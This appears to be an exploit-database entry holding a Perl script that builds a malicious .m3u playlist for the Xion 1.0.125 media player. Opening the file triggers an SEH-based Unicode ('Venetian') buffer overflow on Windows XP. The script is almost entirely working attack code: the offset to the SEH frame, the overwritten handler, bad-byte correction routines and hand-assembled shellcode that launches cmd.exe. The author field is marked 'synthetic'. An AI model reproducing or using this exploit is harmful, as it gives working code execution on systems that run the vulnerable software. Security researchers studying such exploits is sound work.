Xion 1.0.125 .m3u Local SEH-Based Unicode Venetian Exploit

2018.03.06
Credit: synthetic
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/perl # ######################################################################## # Title: Xion 1.0.125 (.m3u File) Local SEH-based Unicode The “Venetian” Exploit # Vulnerability Type: Execute Code, Overflow UTF-16LE buffer, Memory corruption # Date: Feb 18, 2018 # Author: James Anderson (synthetic) # Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji samir) Published: 2010-07-31 # Exploit mitigation: There is no /SAFESEH, SEHOP, /GS, DEP, ASLR # About: The technique is taken from that paper: Creating Arbitrary Shellcode In Unicode Expanded Strings Chris Anley # Tested on: Win NT 5.1.2600 EN: Windows XP SP3 Eng Pro, Intel x86-32 # ######################################################################## # _ _ _ _ # ___ _ _ _ __ | |_| |__ ___| |_(_) ___ # / __| | | | '_ \| __| '_ \ / _ \ __| |/ __| # \__ \ |_| | | | | |_| | | | __/ |_| | (__ # |___/\__, |_| |_|\__|_| |_|\___|\__|_|\___| # |___/ # # ######################################################################## my $path = "/media/s4/DragonR.m3u"; my $buffer_length = 5000; my $suboffset = 0x104; my $NOP1 = "\x6F"; # add [edi], ch my $NOP2 = $NOP1."\x59"; # add [edi], ch # pop ecx # [0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Offset to SEH frame my $crash = "A" x 260; # [1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Set SEH frame $crash .= "\x61".$NOP1; # popad # NOP-eq; nSEH; popad puts an address close to the buffer in EAX $crash .= "\x79\x41"; # pop r32 pop r32 ret; SEh. address for no /SAFESEH / SEHOP, DEP, ASLR my $offset_to_payload = length($crash); # [2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ settingcode. # [2.0] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ set ecx=2 and eax -> [shellcode] $crash .= $NOP1; # NOP-eq $crash .= "\x6a\x59"; # push 0 # pop ecx $crash .= $NOP1; # NOP-eq $crash .= "\x41"; # inc ecx $crash .= "\xCC"; # add ah, cl # eax = eax + 0x100 $crash .= $NOP1; # NOP-eq $crash .= "\x41"; # inc ecx $crash .= "\xC8"; # add al, cl $crash .= "\xC8"; # add al, cl # eax = eax+2+2;# and as a result: eax = eax + $suboffset(0x104) # EAX -> SC; # [2.1] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ we're correcting the first BAD character $crash .= $NOP1; # NOP-eq $crash .= "\xba\x3b\x41"; # mov edx, 41003b00 $crash .= "\x30"; # add [eax],dh $crash .= $NOP1; # NOP-eq # [2.2] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the second byte and the first 00 $crash .= "\x40"; # inc eax $crash .= $NOP1; # NOP-eq $crash .= "\xba\xec\x41"; # mov edx, 4100ec00 $crash .= "\x30"; # add [eax],dh # [2.3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ the fourth byte 00. BAD char $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x45\x41"; # mov edx, 41004500 $crash .= "\x30"; # add [eax],dh $crash .= $NOP1; # NOP-eq $crash .= "\xba\x46\x41"; # mov edx, 41004600 $crash .= "\x30"; # add [eax],dh # [2.4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x68\x41"; # mov edx, 41006800 $crash .= "\x30"; # add [eax],dh # [2.5] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x78\x41"; # mov edx, 41007800 $crash .= "\x30"; # add [eax],dh # [2.6] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x2F\x41"; # mov edx, 41002F00 $crash .= "\x30"; # add [eax],dh # [2.7] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x63\x41"; # mov edx, 41006300 $crash .= "\x30"; # add [eax],dh # [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x64\x41"; # mov edx, 41006400 $crash .= "\x30"; # add [eax],dh # [2.8] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x8d\x41"; # mov edx, 41008d00 $crash .= "\x30"; # add [eax],dh # [2.9] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\xf8\x41"; # mov edx, 4100f800 $crash .= "\x30"; # add [eax],dh # [2.10] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\xb8\x41"; # mov edx, 4100b800 $crash .= "\x30"; # add [eax],dh # [2.11] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x49\x41"; # mov edx, 41004900 $crash .= "\x30"; # add [eax],dh $crash .= $NOP1; # NOP-eq $crash .= "\xba\x4A\x41"; # mov edx, 41004A00 $crash .= "\x30"; # add [eax],dh # [2.12] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\x77\x41"; # mov edx, 41007700 $crash .= "\x30"; # add [eax],dh # [2.13] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $crash .= "\xC8"; # add al, cl # eq eax + 2 $crash .= $NOP1; # NOP-eq $crash .= "\xba\xd0\x41"; # mov edx, 4100d000 $crash .= "\x30"; # add [eax],dh # [3] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # -4: one more NOP below # -8: sizeof(SEHframe) # *2: for UTF-16 # /4: 2 for UTF-16 and 2 for the 2-byte-NOP $crash .= $NOP2 x (($suboffset - 4 - 8 - (length($crash)*2 - $offset_to_payload*2))/4); # NOP-eq + pop ecx $crash .= $NOP1."\x6A"; # NOP1 + NOP1-eq (push 0) # [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode. left - ^jalousie; right - actual shellcode that will be crafted. CMD=cmd.exe my $shellcode = "\x50". # "\x8b". # # BAD BYTE # "\xec". # 0 "\x55". # "\x55". # "\x8b". # 0 # BAD BYTE "\xec". # "\xec". # "\x68". # 0 "\x65". # "\x65". # "\x78". # 0 "\x65". # "\x65". # "\x2F". # 0 "\x68". # "\x68". # "\x63". # 0 "\x6d". # "\x6d". # "\x64". # 0 "\x2e". # "\x2e". # "\x8d". # 0 "\x45". # "\x45". # "\xf8". # 0 "\x50". # "\x50". # "\xb8". # 0 "\xc7". # "\xc7". # "\x93". # 0 # BAD BYTE "\xc2". # "\xc2". # "\x77". # 0 "\xff"; # "\xff". # "\xd0"; # 0 $crash .= $shellcode; $crash .= "C" x ($buffer_length - length($crash)); open(myfile, ">$path"); print myfile $crash;


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